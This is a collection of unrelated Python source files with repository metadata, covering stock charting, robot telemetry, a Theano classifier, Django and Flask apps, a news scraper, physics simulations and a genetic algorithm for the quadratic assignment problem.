import datetime as dt import matplotlib.pyplot as plt from matplotlib import style import pandas as pd import pandas_datareader.data as web from matplotlib.finance import candlestick_ohlc import matplotlib.dates as mdates style.use('ggplot') ''' #can specify start and end dates start = dt.datetime(2000,1,1) end = dt.datetime(2016,12,31) #data from yahoo finance api for tesla stock df = web.DataReader('TSLA', 'yahoo', start, end) #reading a csv in of your own df = pd.read_csv('filename', parse_dates=True, index_col=0); #giving it a date time index by doing parse_dates=True, index_col=0 print(df.head()) #will graph for you and give you a legend df.plot() plt.show() #if you want to plot something very specific you can reference the specific columns in pandas df['Adj. Close'].plot() print(df[['Open','Close']].head()) ''' #can specify start and end dates start = dt.datetime(2000,1,1) end = dt.datetime(2016,12,31) #data from yahoo finance api for tesla stock df = web.DataReader('TSLA', 'yahoo', start, end) ''' #df = pd.read_csv('tsla.csv', parse_dates=True, index_col=0) #creating our own col in the data frame called 100 moving avg (takes todays price and 99 of prev close price and takes the avg of them) df['100ma'] = df['Adj Close'].rolling(window=100, min_periods=0).mean() print(df.head()) #6,1 is 6 by 1 and starting at 0,0 ax1 = plt.subplot2grid((6,1), (0,0), rowspan=5, colspan=1) #sharex=ax1 makes both the plots share an x axis so when you zoom in on one the other will also zoom in accordingly ax2 = plt.subplot2grid((6,1), (5,0), rowspan=1, colspan=1, sharex=ax1) #plots a line which takes in x and y , x = df.index and y = ajd close ax1.plot(df.index, df['Adj Close']) ax1.plot(df.index, df['100ma']) ax2.bar(df.index, df['Volume']) plt.show() ''' #doing some resampling and candlestick plots #lets say you collect data every min or whatever, but you need hourly data, then you can resample to be hourly data from min data #resample from daily data to 10 day data can do .mean ect we are using .ohlc=open high low close df_ohlc = df['Adj Close'].resample('10D').ohlc() #taking sum over 10 days of vol df_volume = df['Volume'].resample('10D').sum() #can get all of the values of a datafram by doing df.values #reseting index so date is now a column df_ohlc.reset_index(inplace=True) #convert the date to mdates since thats what matplotlib uses (dont know why) df_ohlc['Date'] = df_ohlc['Date'].map(mdates.date2num) #map just maps this onto every date to convert from date to mdates object ax1 = plt.subplot2grid((6,1), (0,0), rowspan=5, colspan=1) ax2 = plt.subplot2grid((6,1), (5,0), rowspan=1, colspan=1, sharex=ax1) ax1.xaxis_date() #where the candle stick is filled in shows the open and close low and high candlestick_ohlc(ax1, df_ohlc.values, width=5, colorup='g') #fills from 0 to vol high on second plot ax2.fill_between(df_volume.index.map(mdates.date2num), df_volume.values, 0) plt.show()

[ "akurbanovas@albany.edu" ]

akurbanovas@albany.edu

a66ea0e584b1c0c16a1073e306b633b0ae4bd795

3da102290ebe6c186474ecbeec9065ea2e5357e3

/pi/robot.py

4d162feefe0008daae6f7e2e33d88865d9c46d45

[]

no_license

fo-am/penelopean-robotics

55cbbebe29f15fe5996222a5db36040ac400b8f3

2a6f81a4d8b098ac513bd42df980e64128df8a1b

refs/heads/master

2022-05-28T17:46:36.579042

2022-05-19T13:35:47

134,366,263

8

0

null

UTF-8

Python

false

3,976

py

import yarnasm import radio import time # things we want to be able to do: # * tweak servo defaults # * queue of messages to send? class robot: def __init__(self,address): self.address=address self.telemetry=[0 for i in range(256)] self.code=[] self.source="" self.state="running" self.ping_time=time.time() self.watchdog_timeout=10 self.ping_duration=2 self.start_walking=False self.set_led=False self.led_state=False def pretty_print(self): out = "robot: "+str(self.telemetry[yarnasm.registers["ROBOT_ID"]])+"\n" out+= "pc: "+str(self.telemetry[yarnasm.registers["PC_MIRROR"]])+"\n" out+= "a: "+str(self.telemetry[yarnasm.registers["A"]])+"\n" out+= "step: "+str(self.telemetry[yarnasm.registers["STEP_COUNT"]])+"\n" def telemetry_callback(self,data): if self.state=="disconnected" or self.state=="waiting": self.state="connected" self.telemetry=data #print("telemetry: "+str(self.address[4])+" "+str(data[0])+" "+str(data[9])) self.ping_time=time.time() def sync(self,radio,beat,ms_per_beat): reg_sets = [] # update A register here, based on if the start flag has been set if self.start_walking: reg_sets+=[[yarnasm.registers["A"],1]] self.start_walking=False if self.set_led: reg_sets+=[[yarnasm.registers["LED"],self.led_state]] telemetry = radio.send_sync(self.address,beat,ms_per_beat,reg_sets) if telemetry!=[]: self.telemetry = telemetry print("telemetry: "+str(self.address[4])+" "+str(self.telemetry[0])+" "+str(self.telemetry[9])) # stop update requesting telemetry for a bit self.ping_time=time.time() def sync2(self,radio,beat,ms_per_beat): reg_sets = [] radio.send_sync(self.address,beat,ms_per_beat,reg_sets) def walk_pattern(self,pat,ms_per_step,radio): radio.send_pattern(self.address,pat,ms_per_step) def calibrate(self,radio,do_cali,samples,mode): return radio.send_calibrate(self.address,do_cali,samples,mode) def load_asm(self,fn,compiler,radio): with open(fn, 'r') as f: self.source=f.read() self.code = compiler.assemble_file(fn) return radio.send_code(self.address,self.code) def send_asm(self,asm,compiler,radio): self.code = compiler.assemble_bytes(asm) return radio.send_code(self.address,self.code) def write(self,addr,val,radio): radio.send_set(self.address,addr,val) def save_eeprom(self,radio): radio.send_save_eeprom(self.address) # A register is cleared when the robot reaches it's end position # and set by the Pi when we are ready to start again def start_walking_set(self): self.start_walking=True def led_set(self,state): self.set_led=True self.led_state=state # has been set above, and returned in a telemetry packet... def is_walking(self): return self.telemetry[yarnasm.registers["A"]]==1 def update(self,radio): pass def update_regs(self,regs): regs["state"]=self.state regs["ping"]=time.time()-self.ping_time regs["pc"]=self.telemetry[yarnasm.registers["PC_MIRROR"]] regs["a"]=self.telemetry[yarnasm.registers["A"]] regs["b"]=self.telemetry[yarnasm.registers["B"]] regs["comp_angle"]=self.telemetry[yarnasm.registers["COMP_ANGLE"]] regs["comp_dr"]=self.telemetry[yarnasm.registers["COMP_DELTA_RESET"]] regs["comp_d"]=self.telemetry[yarnasm.registers["COMP_DELTA"]] regs["step_count"]=self.telemetry[yarnasm.registers["STEP_COUNT"]] regs["step_reset"]=self.telemetry[yarnasm.registers["STEP_COUNT_RESET"]] regs["robot"]=self.telemetry[yarnasm.registers["ROBOT_ID"]]

[ "dave@fo.am" ]

dave@fo.am

17ba77f176141d459e81985f43e229f7ca668faf

d6d4449df702ab59a13559aaba599c60381d1852

/tests/rot_enc_test.py

1a121982d07371e9b5706f6ec0329ecc102aefc0

[ "CC-BY-4.0" ]

permissive

zzfd97/StickIt-RotaryEncoder

c58ce2758676285d6ce539e895b6a5d01b451396

78c5511192fd471e57bc9b6b6ab5d1393ecdb0f3

refs/heads/master

2021-12-12T18:56:36.702963

2017-02-12T04:00:09

null

0

null

UTF-8

Python

false

2,614

py

# /*********************************************************************************** # * This program is free software; you can redistribute it and/or # * modify it under the terms of the GNU General Public License # * as published by the Free Software Foundation; either version 2 # * of the License, or (at your option) any later version. # * # * This program is distributed in the hope that it will be useful, # * but WITHOUT ANY WARRANTY; without even the implied warranty of # * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # * GNU General Public License for more details. # * # * You should have received a copy of the GNU General Public License # * along with this program; if not, write to the Free Software # * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA # * 02111-1307, USA. # * # * (c)2013 - X Engineering Software Systems Corp. (www.xess.com) # ***********************************************************************************/ from xstools.xsdutio import * # Import funcs/classes for PC <=> FPGA link. print '''\n ################################################################## # This program tests the interface between the host PC and the FPGA # on the XuLA board that has been programmed to scan a rotary encoder. # You should see the state of the rotary encoder accumulator # displayed on the screen. ################################################################## ''' USB_ID = 0 # This is the USB port index for the XuLA board connected to the host PC. ROTENC1_ID = 1 # This is the identifier for the rotary encoder 1 interface in the FPGA. ROTENC2_ID = 2 # This is the identifier for the rotary encoder 2 interface in the FPGA. BUTTONS_ID = 3 # This is the identifier for the buttons on rotary encoders 1 & 2. # Create an interface object that reads one 32-bit output from the rotary encoder module and # drives one 1-bit dummy-input to the rotary encoder module. rotenc1 = XsDutIo(xsusb_id=USB_ID, module_id=ROTENC1_ID, dut_output_widths=[32], dut_input_widths=[1]) rotenc2 = XsDutIo(xsusb_id=USB_ID, module_id=ROTENC2_ID, dut_output_widths=[32], dut_input_widths=[1]) buttons = XsDutIo(xsusb_id=USB_ID, module_id=BUTTONS_ID, dut_output_widths=[2], dut_input_widths=[1]) while True: # Do this forever... accumulator1 = rotenc1.Read() # Read the ROT1 accumulator. accumulator2 = rotenc2.Read() # Read the ROT2 accumulator. bttns = buttons.Read() # Read the ROT1 and ROT2 buttons. print 'ROT1: {:8x} {:1x} ROT2: {:8x} {:1x}\r'.format(accumulator1.unsigned, bttns[0], accumulator2.unsigned, bttns[1]),

[ "devb@xess.com" ]

devb@xess.com

da3ca927ab7c3f9f63e45e04c47b52107c0630e7

e0c3dd84bb34a27fa9926c424b488e7bf9e62865

/deep_learning/logistic_classifier.py

525825929e9cbbaa90f5bbe4a3f6eb9ca4d00144

[]

no_license

mspandit/deep-learning-tutorial

c5e7099b19d7ea4cec2b7461931de11ac6be3c5a

7ef7760d571bcc07196dc897ad2e53517ef4471f

refs/heads/master

2021-01-23T07:20:56.377617

2014-10-20T13:22:41

24,348,581

1

null

UTF-8

Python

false

4,230

py

""" This tutorial introduces logistic regression using Theano and stochastic gradient descent. Logistic regression is a probabilistic, linear classifier. It is parametrized by a weight matrix :math:`W` and a bias vector :math:`b`. Classification is done by projecting data points onto a set of hyperplanes, the distance to which is used to determine a class membership probability. Mathematically, this can be written as: .. math:: P(Y=i|x, W,b) &= softmax_i(W x + b) \\ &= \frac {e^{W_i x + b_i}} {\sum_j e^{W_j x + b_j}} The output of the model or prediction is then done by taking the argmax of the vector whose i'th element is P(Y=i|x). .. math:: y_{pred} = argmax_i P(Y=i|x,W,b) This tutorial presents a stochastic gradient descent optimization method suitable for large datasets, and a conjugate gradient optimization method that is suitable for smaller datasets. References: - textbooks: "Pattern Recognition and Machine Learning" - Christopher M. Bishop, section 4.3.2 """ __docformat__ = 'restructedtext en' import os import sys import time import numpy import theano import theano.tensor as Tensor from data_set import DataSet from classifier import Classifier class LogisticClassifier(Classifier): """Multi-class Logistic Regression Class The logistic regression is fully described by a weight matrix :math:`W` and bias vector :math:`b`. Classification is done by projecting data points onto a set of hyperplanes, the distance to which is used to determine a class membership probability. """ def __init__(self, input_units, output_units): """ """ super(Classifier, self).__init__() # initialize with 0 the weights as a matrix of shape (n_in, n_out) self.weights = theano.shared( value = numpy.zeros( (input_units, output_units), dtype = theano.config.floatX ), name = 'weights', borrow = True ) self.initialize_biases(output_units, None, 'logistic_biases') # parameters of the model self.parameters = [self.weights, self.biases] def output_probabilities_function(self, input): """function to compute vector of class-membership probabilities""" return Tensor.nnet.softmax( Tensor.dot(input, self.weights) + self.biases ) def predicted_output_function(self, input): """ function to compute prediction as class whose probability is maximal """ return Tensor.argmax( self.output_probabilities_function(input), axis=1 ) def cost_function(self, inputs, outputs): """ """ return -Tensor.mean( Tensor.log( self.output_probabilities_function(inputs) )[Tensor.arange(outputs.shape[0]), outputs]) def evaluation_function(self, inputs, outputs): """Return a float representing the number of errors in the minibatch over the total number of examples of the minibatch ; zero one loss over the size of the minibatch :type outputs: theano.tensor.TensorType :param outputs: corresponds to a vector that gives for each example the correct label """ # check if outputs has same dimension of predicted_output if outputs.ndim != self.predicted_output_function(inputs).ndim: raise TypeError( 'outputs should have the same shape as self.predicted_output', ( 'outputs', target.type, 'predicted_output', self.predicted_output_function(inputs).type ) ) # check if outputs is of the correct datatype if outputs.dtype.startswith('int'): # the Tensor.neq operator returns a vector of 0s and 1s, where 1 # represents a mistake in prediction return Tensor.mean( Tensor.neq(self.predicted_output_function(inputs), outputs) ) else: raise NotImplementedError()

[ "mspandit@yahoo.com" ]

mspandit@yahoo.com

8c2fce2c46678cdd2c2d448059130c263c6a1746

be8b2123c0d06403cb679a18597d86248a4b30ee

/FacebookHackaton2013/facebookhackaton2013.py

6a6e2b40beea256adb2c2b864f4a2ccafc42b1aa

[]

no_license

ClaudiaSianga/Python-para-Zumbis

52438d30f4cc5cb0c16740083553cf2967139742

798f4acac673837e599d4e2790cedce98bc73ab9

refs/heads/master

2021-01-11T18:03:19.921355

2017-01-19T18:09:41

79,480,204

0

null

2017-01-19T18:03:19

null

UTF-8

Python

false

432

py

#!usr/bin/env python # -*- coding: utf-8 -*- def parse_bin(n, k): lista = [] for i in range((2**n-1)+1): lista.append(bin(i)); lista = sorted(lista, key=lambda x: -x.count('1')) return (lista, lista[k-1]) print "="*150 print "Lista:%s \nk-ésimo elemento: %s\n" %(parse_bin(3, 5)) print "Lista:%s \nk-ésimo elemento: %s\n" %(parse_bin(4, 10)) print "Lista:%s \nk-ésimo elemento: %s\n" %(parse_bin(5, 15)) print "="*150

[ "guilherme-louro@hotmail.com" ]

guilherme-louro@hotmail.com

b51f4bd7b2670382d3d6f617619e7c569746b871

74748f587dc4a8e74ebdf2274f632ffa545cceca

/itdrocevo/itdrocevo/asgi.py

cae9c654847e07815571a22e48c86b3f5b67901e

[]

no_license

IvanIvantey/servacok-saiticok

fc32c3daaf1c7ec7ed84b4a89b0d725949bd0d60

fbd8bcf27e587bc4a0bb88db71bd527ca6d43b65

refs/heads/master

2023-03-03T23:35:57.522839

2021-02-08T13:22:39

337,081,285

0

null

UTF-8

Python

false

395

py

""" ASGI config for itdrocevo project. It exposes the ASGI callable as a module-level variable named ``application``. For more information on this file, see https://docs.djangoproject.com/en/3.1/howto/deployment/asgi/ """ import os from django.core.asgi import get_asgi_application os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'itdrocevo.settings') application = get_asgi_application()

[ "sa50_i.v.ivantey@mpt.ru" ]

sa50_i.v.ivantey@mpt.ru

8efb6483d2133c3e9f4a7801382b7a59b8ccfe7c

b6f8849e007476d0b6b55793fdf53c93452c1f14

/lif_neuron_diagnosis.py

668903a311d0c9a0f0c1ef979c2a9d2e38b44e71

[]

no_license

emelon8/ripples_model

a646a353bc1700d29b21b9a19cf8e566933c0c09

b06c8463f9c8a28acbcad928d34d2e74359aa769

refs/heads/master

2021-01-11T22:09:42.578264

2017-01-14T08:28:59

78,926,300

0

null

UTF-8

Python

false

1,439

py

# -*- coding: utf-8 -*- """ Created on Fri Feb 19 21:17:41 2016 @author: eric """ import numpy as np def LIF_neuron(dt,v0,taum,gL,Vrest,Vr,Vt,arp,arp_counter,se,con_matrix,num_pyr,num_inh,num_chat,sampa,sgaba,snmda,gampa,ggaba,gnmda,gampae,vampa,vgaba,vnmda,DC): v = v0.copy() # copy timestep i to make timestep i+1 # sum up inputs from all connected neurons of each type sa = np.dot(sampa,con_matrix[:num_pyr,:]) sg = np.dot(sgaba,con_matrix[num_pyr:num_pyr+num_inh,:]) sn = np.dot(snmda,con_matrix[:num_pyr,:]) # sc = np.apply_along_axis(lambda m: np.dot(m,schat),0,con_matrix[num_pyr+num_inh:num_pyr+num_inh+num_chat,:]) I = gL*(v0-Vrest) + se*gampae*(v0-vampa) + sa*gampa*(v0-vampa) + sg*ggaba*(v0-vgaba) + sn*gnmda*(v0-vnmda) - DC R = 1 / (gL + se*gampae + sa*gampa + sg*ggaba + sn*gnmda) # [MOhms] v_inf = Vrest-(I*R) # find steady-state voltage [mV] v[(v0==Vr) & (arp_counter<arp/dt)] = Vr # if refractory period is not over, continue refractory period arp_counter[(v0==Vr) & (arp_counter<arp/dt)] += 1 # increase refractory period counter v[(v0!=Vr) | (arp_counter>=arp/dt)] = v0[(v0!=Vr) | (arp_counter>=arp/dt)]*(1-(dt/taum)) + v_inf[(v0!=Vr) | (arp_counter>=arp/dt)]*(dt/taum) # if voltage is not during refractory period, integrate next voltage step v[v0>Vt] = Vr # if voltage exceeds threshold, set next step to reset voltage return v, arp_counter, I, sa, sg, sn, R

[ "eric.melonakos@gmail.com" ]

eric.melonakos@gmail.com

f4397551c757ec6c02227871baabb84f4703f2ba

78c455c0095a5e1cc5bb76b9c3e686012e72c8f3

/prod/universal.py

c77ab17b62dee0329efadd1a04610307be396b1e

[]

no_license

JorgeRamos01/Proyecto-texto

0ec04815d4442ea03d336f8071ef2b01c2696cce

a19f551f807652b30aba4cd5a412f8dae95263db

refs/heads/master

2020-05-31T21:00:08.454819

2019-06-06T00:53:41

190,488,283

0

null

UTF-8

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false

2,537

py

# #Scrapepr el universal, seccion de opinion from bs4 import BeautifulSoup from urllib.request import Request, urlopen import re import datetime from pgdbqueries import send_data_to_db # module to connect data base from custom_printing import CustomWrite # new class (for printing logs) cw = CustomWrite("El Universal") # instance class CW cw.header() # Header now = datetime.datetime.now() site= "https://www.eluniversal.com.mx/opinion" hdr = {'User-Agent': 'Mozilla/5.0'} req = Request(site,headers=hdr) data = urlopen(req) soup=BeautifulSoup(data,"html5lib") urls=[] for a in soup.find_all('a', href=True): #Conseguimos las urls de notas de opinion if "/articulo" in str(a['href']): urls.append("https://www.eluniversal.com.mx"+a['href']) if "/columna" in str(a['href']): urls.append("https://www.eluniversal.com.mx"+a['href']) for i in range(len(urls)): if "https://www.eluniversal.com.mxh" in urls[i]: urls[i]=urls[i][len("https://www.eluniversal.com.mx"):] num_url=0 cw.init_counter(len(urls)) # initialize counter of the object CW for j in urls: #Obtenemos el contenido de las notas de opinion site1= j hdr1 = {'User-Agent': 'Mozilla/5.0'} req1 = Request(site1,headers=hdr1) data1 = urlopen(req1) soup1=BeautifulSoup(data1,"html5lib") fecha_pub=soup1.find('div',{'class','fechap'}).get_text() #Consigue la fecha de publicacion en el formato deseado if fecha_pub==str(now.day)+"/"+str(now.month)+"/"+str(now.year): seccion="Opinion" periodico="El Universal" title=soup1.find('title').get_text() #Consigue el titulo texto=str(soup1.find('div', {'class', 'field field-name-body field-type-text-with-summary field-label-hidden'}).find_all('p')) texto=texto.replace("</p>, <p>","\n") texto=texto[4:texto.find('</p>, <p class')] texto=re.sub('<[^>]+>', '', texto) texto=texto.replace('Read in English',"") fecha_scrap=datetime.datetime.now() # Send content to data base in PostgreSQL # send_data_to_db(news_title = title, scrapping_date = fecha_scrap, # section_name = seccion, # news_content = texto, importance_level = "Nacional", # news_link = j, # newspaper_name = periodico, news_name_place_reported = None, # news_date_reported = fecha_scrap) # send data num_url += 1 cw.debug("Formato de fecha: " + fecha_pub) # debugging cw.status_insert() # from class CustomWrite: Status if num_url==0: print("No hay noticias nuevas") cw.footer() # Footer

[ "noreply@github.com" ]

noreply@github.com

4c28fb4f582f50a67dcbcb1a70ba13520bbc73b6

16f48de6fd77f0a1b2a60dbcf897e50726d91770

/Models/ConcreteFactory/sms_notif_factory.py

650916d18707ffb61df563b5d3625775225ae900

[]

no_license

dibyasom/UNICC-JsonRedo

7abadf968d2a4a4cce4c2fe7426231e05b6207c5

7c2d08c2c4c14a1993aff8b23443d54844edc482

refs/heads/main

2023-09-06T03:18:05.685867

2021-09-02T10:09:59

null

0

null

UTF-8

Python

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589

py

# Importing dependecnies and parent factory model. """ Concrete Factory override the factory method in order to change the resulting product's type. """ # Importing dependecnies and parent factory model. from ..Factory.notif_factory import NotifierFactory from ..Interface.notif_interface import Notifier from ..Product.sms_notif import SmsNotifier from Models.User import User class SmsNotifierFactory(NotifierFactory): def __init__(self, user: User) -> None: self.user = user def _factory_method(self) -> Notifier: return SmsNotifier(user=self.user)

[ "dibya.secret@gmail.com" ]

dibya.secret@gmail.com

2b44b6f0f3f0b9d259ad52416362ca4d246b0348

342fc6f60c688a21b9ba4a8e8b64438d77039ba2

/CNCS/CNCS/nxs/raw.py

c37c120916552715a26b08dd44b35ff7a2eded11

[]

no_license

mcvine/instruments

854001fe35063b1c8c86e80495093ce72884771f

8e41d89c353995dcf5362a657a8bb5af08ff186c

refs/heads/master

2023-04-03T11:01:53.232939

2023-04-02T04:16:07

120,621,268

1

0

null

2023-04-02T04:16:08

2018-02-07T13:51:36

Python

UTF-8

Python

false

3,916

py

# -*- Python -*- # # ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ # # Jiao Lin # California Institute of Technology # (C) 2008-2015 All Rights Reserved # # {LicenseText} # # ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ # """ This module helps creating "raw" CNCS nexus file. """ def write(events, tofbinsize, path): """ write neutron events into a CNCS nexus file The events is a numpy array of "event" records. An event record has three fields: * pixelID * tofChannelNo * p tofbinsize * tofChannelNo is the tof for the bin path is the output path """ # implementation details # -1. h5py is used for handling the file. # 0. make a new file by first copying a template file to a new file, and then adding new data # 1. events are splitted to banks and saved. for a bank, all events are in bank{i}_events # 2. any bank must have at least one event. if there are no events, we must assign fake ones import shutil, sys shutil.copyfile(nxs_template, path) import time; time.sleep(0.5) # bad bad import h5py f = h5py.File(path, 'a') entry = f['entry'] # XXX: hack etz_attrs = { 'units': np.string_('second'), 'offset': np.string_('2012-08-23T11:23:53.833508666-04:00'), 'offset_seconds': 714583433, 'offset_nanoseconds': 833508666, } for bank in range(nbanks): # print bank sys.stdout.write('.') # bank events pixelidstart = bank * pixelsperbank pixelidend = pixelidstart + pixelsperbank bevts = events[(events['pixelID']<pixelidend) * (events['pixelID']>=pixelidstart)] if not bevts.size: # fake events. mantid cannot handle empty events bevts = events[0:1].copy() evt = bevts[0] evt['pixelID'] = pixelidstart evt['tofChannelNo'] = 0 evt['p'] = 0 # bank events directory be = entry['bank%s_events' % (bank+bank_id_offset)] be['event_id'] = bevts['pixelID'] + pixel_id_offset be['event_time_offset'] = np.array(bevts['tofChannelNo'], dtype='float32') * tofbinsize be['event_time_offset'].attrs['units'] = np.string_('microsecond') be['event_weight'] = np.array(bevts['p'], dtype='float32') be['event_index'] = np.array([0, len(bevts)], dtype='uint64') be['event_time_zero'] = np.array([0, 1./60], dtype='float64') etz = be['event_time_zero'] # hack etz_attrs['target'] = np.string_('/entry/instrument/bank%s/event_time_zero' % (bank+bank_id_offset)) for k,v in etz_attrs.items(): etz.attrs[k] = v # XXX: should this be a float and the sum of all weights? # XXX: michael reuter said this is not really used be['total_counts'][0] = len(bevts) # bank directory b = entry['bank%s' % (bank+bank_id_offset)] # XXX: should this be float array? # XXX: michael reuter said this is not really used # compute histogram # h, edges = np.histogram(bevts['pixelID'], pixelsperbank, range=(pixelidstart-0.5, pixelidend-0.5)) # weights = ? # h.shape = 8, 128 # b['data_x_y'][:] = np.array(h, dtype='uint32') continue # XXX: should it be a float? # entry['total_counts'][0] = len(events) # f.close() # sys.stdout.write('\n') return bank_id_offset = 1 pixelsperbank = 8 * 128 pixel_id_offset = (bank_id_offset-1)*pixelsperbank nbanks = 50 npixels = nbanks * pixelsperbank import os from mcvine import resources as res nxs_template = os.path.join( res.instrument('CNCS'), 'nxs', 'cncs-raw-events-template.nxs', ) import numpy as np # End of file

[ "linjiao@ornl.gov" ]

linjiao@ornl.gov

455b47e9572a2598ff0b2997545f882039909442

c6dfa465c05be2ad350e8ef7c3c2c35a4dce41d2

/explorations/wiener-exp.py

b19e914948c63345b0f6a618261404b585dffcf7

[]

no_license

bogeorgiev/heating-up-dbs

b6e78f1d7ccd59005fd9d73544e311d9e088f5f3

bf75787b6594590e72c32e678b565bbd47acf9ba

refs/heads/master

2023-02-24T06:40:19.168808

2021-01-29T11:17:45

260,421,263

1

0

null

UTF-8

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false

2,555

py

import torch from torch.distributions.multivariate_normal import MultivariateNormal from torch.distributions.normal import Normal import math from matplotlib import pyplot as plt import numpy as np dim = 3 alpha = 1.0e2 num_walks = 10000 num_steps = 100 * alpha step = 2.0e-1 / math.sqrt(alpha) compute_empirical = False normal_distrib = MultivariateNormal(torch.zeros(dim), torch.eye(dim)) normal_1d = Normal(torch.tensor(0.0), torch.tensor(1.0)) sample = torch.zeros(dim) msd = .0 msd_th = step * math.sqrt( num_steps * dim) radius = msd_th #hyperplane to hit at dist dist = 0.9 * msd_th #2.0e0 mesh_size = 200 t = torch.tensor(num_steps * step**2) print("BM run for time: ", t) print("RMSD (theoretical): ", msd_th) print("Hitting Prob (theoretical): ", 2 * normal_1d.cdf(-dist / torch.sqrt(t))) vols = [] caps = [] for j in range(mesh_size): h = dist * (float(j) / mesh_size) if (compute_empirical): error_rate = torch.randn(num_walks, dim + 2) error_rate = radius * error_rate / error_rate.norm(dim=1).unsqueeze(1) error_rate = error_rate[:, :-2] error_rate = error_rate[:, 0] error_rate = (error_rate > h).sum() vol = error_rate.float() / num_walks else: vol_cap = math.pi * ((radius - h)**2) * (2*radius + h) / 3 vol_ball = 4 * math.pi * (radius**3) / 3 vol = float(vol_cap) / vol_ball vols = vols + [vol] hits = 0 if (compute_empirical): for i in range(num_walks): walk_has_hit_target = False for s in range(int( num_steps)): sample += step * torch.randn(dim) #sample += step * normal_distrib.sample() if sample[0] > h and not walk_has_hit_target: hits += 1 walk_has_hit_target = True break msd += sample.norm() sample = torch.zeros(dim) msd = msd / num_walks cap = hits / num_walks else: cap = 2 * normal_1d.cdf(-h / ( torch.sqrt(t))) caps = caps + [cap] tau = torch.tensor(caps) / torch.tensor(vols) plt.plot([dist * (float(i) / mesh_size) for i in range(mesh_size)], torch.tensor(caps).numpy(), color='r') plt.plot([dist * (float(i) / mesh_size) for i in range(mesh_size)], torch.tensor(vols).numpy(), color='g') plt.plot([dist * (float(i) / mesh_size) for i in range(mesh_size)], tau.numpy(), color='b') plt.show() if (compute_empirical): print("MSD (empirical): ", msd) print("Hitting Prob (empirical): ", hits / num_walks)

[ "lukas.b.franken@gmail.com" ]

lukas.b.franken@gmail.com

f607cc5e2526bcc268de801f40a60c5f8d777c39

558ad954a7b150ce95a30e5b1b4d277ed8286d46

/0x04-python-more_data_structures/8-simple_delete.py

48e0c39dd411cfe4884cd6a191de83073610e039

[]

no_license

Indifestus/holbertonschool-higher_level_programming

9cf41f53d164a6612ea982c28468d2a330212920

aaaa08577888828016557826f85a98893d8e9cca

refs/heads/master

2023-03-15T19:06:48.626734

2018-01-15T02:27:29

null

0

null

UTF-8

Python

false

135

py

#!/usr/bin/python3 def simple_delete(my_dict, key=""): if my_dict is not None: my_dict.pop(key, None) return my_dict

[ "andrew.birnberg@gmail.com" ]

andrew.birnberg@gmail.com

173842b445e851f4641e07b28cf9e78b33a41bae

68d6c069e5248451390b6caf0bcdc40026bfdf84

/Python/hw2/VectorCal.py

07fa8f17bf0836d84144884e466831a30fc2d191

[]

no_license

Nightlord851108/HowToSolveIt

64cb058a58c871cff83d49957d4ffd41d5387c32

7a21060030dbb6931008becb09a4de01141ce92a

refs/heads/master

2020-03-23T19:24:10.564832

2020-01-30T05:49:59

141,975,069

0

null

UTF-8

Python

false

464

py

def vectorSum(v, u, d1, d2): if (d1 != 0) & (d1 == d2): i = 0 ans = [] while i < d1: ans.append(v[i] + u[i]) i = i + 1 return ans return "Dimensional Error" def innerProduct(v, u, d1, d2): if (d1 != 0) & (d1 == d2): i = 0 sum = 0 while i < d1: sum = sum + v[i] * u[i] i = i + 1 return sum return "Dimensional Error"

[ "“nightlord851108@gmail.com”" ]

“nightlord851108@gmail.com”

336d03d10e2a186fdf639286c125e67ed25c4421

275c578b5ae0b5d7e2931b10948c48a044d2687c

/app/main/views.py

08ed2b9b5b08692453c109ca0cf632cae8a116c7

[]

no_license

mibei001/news

a311061744cdc9d240aeb55f59a1ef981bac5f37

2f078477a5b6162b0b302538c492bcae394aed48

refs/heads/master

2023-09-03T05:31:13.079048

2021-11-08T09:16:42

424,885,764

0

null

UTF-8

Python

false

957

py

from flask import render_template,request,redirect,url_for from . import main from ..requests import get_source,get_article from ..models import Source @main.route('/') def index(): ''' View root page function that returns the index page and its data ''' # Getting News source title = ' Welcome to online news highlight website' source = get_source('technology') sports_source = get_source('sports') business_source = get_source('business') entertainment_source = get_source('entertainment') return render_template('index.html',title = title, technology = source,sports = sports_source,business = business_source,entertainment= entertainment_source) @main.route('/source/<id>') def article(id): ''' View article page function that returns the article details page and its data ''' article = get_article(id) return render_template('article.html',id = id, article = article)

[ "kevin.mibei@moringaschool.com" ]

kevin.mibei@moringaschool.com

50a1caa06984cbfea5664ed189a0988188a9b83f

cc31a912aea9bf0ecd47cd737afee7e96a242054

/blogproject/blog/feeds.py

dbc833ebfed51c3135b05bc687b3857387e38223

[]

no_license

tanglang1990/blog_for_person

77ec7fa029045bfc03c6d12b39bf06612fc34703

fa77041a4dfdfef05ce032eff334aa1df854c988

refs/heads/master

2020-04-23T06:22:57.256344

2018-10-17T07:35:39

170,971,341

2

0

null

UTF-8

Python

false

727

py

from django.contrib.syndication.views import Feed from .models import Article class AllPostsRssFeed(Feed): # 显示在聚合阅读器上的标题 title = "Django 博客教程演示项目" # 通过聚合阅读器跳转到网站的地址 link = "/" # 显示在聚合阅读器上的描述信息 description = "Django 博客教程演示项目测试文章" # 需要显示的内容条目 def items(self): return Article.objects.all() # 聚合器中显示的内容条目的标题 def item_title(self, item): return '[%s] %s' % (item.category, item.title) # 聚合器中显示的内容条目的描述 def item_description(self, item): return item.content

[ "782555894@qq.com" ]

782555894@qq.com

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import itertools import os import random from copy import deepcopy from typing import List import numpy as np import tqdm from qap_lab.source.data_utils import Problem from tqdm import trange import json import os from multiprocessing import Pool class Chromosome: """ Permutation vector wrapper """ def __init__(self, gene_list: List[int], _problem: Problem): self.genome = gene_list self.flow_matrix = _problem.flow_matrix self.dist_matrix = _problem.distance_matrix self.fitness = self.calc_fitness() # print(self.fitness) def calc_fitness(self) -> float: n = len(self.genome) return sum([self.dist_matrix[i][j] * self.flow_matrix[self.genome[i]][self.genome[j]] for i in range(n) for j in range(n)]) def swap_mutation(self): pass def scrumble_mutation(self): pass def persist(self, dir, problem_name): with open(os.path.join(dir, problem_name), 'w') as f: f.write(" ".join([str(it + 1) for it in self.genome])) class Population: def __init__(self, _chromosome_list: List[Chromosome], _problem: Problem): self.chromosome_list = _chromosome_list self.problem = _problem self.rolling_wheel_prob = self.calc_rolling_wheel_prob() def breeding(self) 